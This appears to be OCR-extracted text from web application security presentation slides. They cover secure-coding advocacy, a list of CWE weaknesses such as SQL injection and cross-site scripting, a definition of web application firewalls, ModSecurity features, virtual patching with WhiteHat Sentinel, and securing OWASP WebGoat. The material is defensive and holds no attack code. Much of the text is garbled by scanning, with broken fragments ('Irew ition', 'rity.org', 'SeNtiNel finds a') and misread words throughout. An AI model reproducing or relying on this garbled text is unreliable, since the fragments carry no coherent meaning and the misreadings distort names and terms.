= Microsoft, Oracle, Red Hat, Apple

= Security Vendors Homeland
= Breach Security, Veracode, Fortify, Cigital ) SQCUI‘ltY
/.—-.l\
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= Raise awareness for developers
= Technical details are the key

= Help universities to teach secure coding

= QOracle CSO sent a letter to Universities recommending secure coding
classes

= Empower customers who want to ask for more secure software
= hitp://www.sans.org/appseccontract/

= Provide a starting point for in-house software shops to measure
their own progress

= A framework for baselining and industry comparisons

e~
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= |nsecure Interaction Between Components (9 errors)/_

Ma'|orit| of web
= CWE-20: Improper Input Validation
= CWE-116: Improper Encoding or Escaping of Output
= CWE-89: Failure to Preserve SQL Query Structure (aka ‘SQL Injection’)
= CWE-79: Failure to Preserve Web Page Structure (aka ‘Cross-site Scripting’)
= CWE-78: Failure to Preserve OS Command Structure (aka ‘OS Command Injection’)
= CWE-319: Cleartext Transmission of Sensitive Information
» CWE-352: Cross-site Request Forgery (CSRF)
= CWE-362: Race Condition (Brute Force Attacks)
= CWE-209: Error Message Information Leakage

» Risky Resource Management (9 errors)
= Porous Defenses (7 errors)

e~
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Irew

ition

"An intermediary device, sitting between a web-client and a web server,
analyzing OSI Layer-7 messages for violations in the programmed
security policy. A web application firewall is used as a security device
protecting the web server from attack.”

- The term “WAF" is not the ideal name and is a limiting label

Can be used for HTTP auditing and/or identification of Application Defects and
Information Leakages

- The “Firewall” part of the name usually leads people to assume -
That itis inline (as a Gateway) which is but one of many deployment options

Implies a “blocking” action however prevention actions are configured based on policy
settings and in some cases are set to log only.
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BREACH



ity W
rity.org

DEVELOFED EY

mod | BREACH

Open Source Web Application Firewall

Projects Documentation Download Blog About Breach Security

ModSecu nty m ModSecurity

Now Available

ModSecurity v2.5 is now available. Some of the new features include:
parallel text matchmg, Geo IP resolution, credit card number detection,
support for content injection, automated rule updates, scripting, as well as
many others.

ModSecurity

Community Console

ModSecurity
Core Rules

i —.
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e B YR et ey SeNtiNel finds a

The linkage between WhiteHat

S L
g — et SN Sentinel and the WAF completes
h_.; e Web applications. the seFunty loop frur:n w..ruIner::ﬂ::ullg..r L
R T ——— With “virtual patching,” checking and detection to remediation.
el . a vulnerability can
== a1, be fixed via a Web
s application firewall.
! i f M Ancre
: - Er s = Malobore |

o
R L L e

R —
T T Ll ol

]

1
bt s -

Sentinel will automatically create ModSecurity Rules
to block attempts to exploit the vulnerability.
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OWASP

The Cpen Web Application Secunity Project

Securing WebGoat
Using ModSecurity

web server

modsecurity

\_\
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Work - Ryan.Barnett@breach.com
Personal — Rcbarnett@amail.com

Blog - http://tacticalwebappsec.blogspot.com/

Further information at the WHID web site;
http://www.xiom.com/whid
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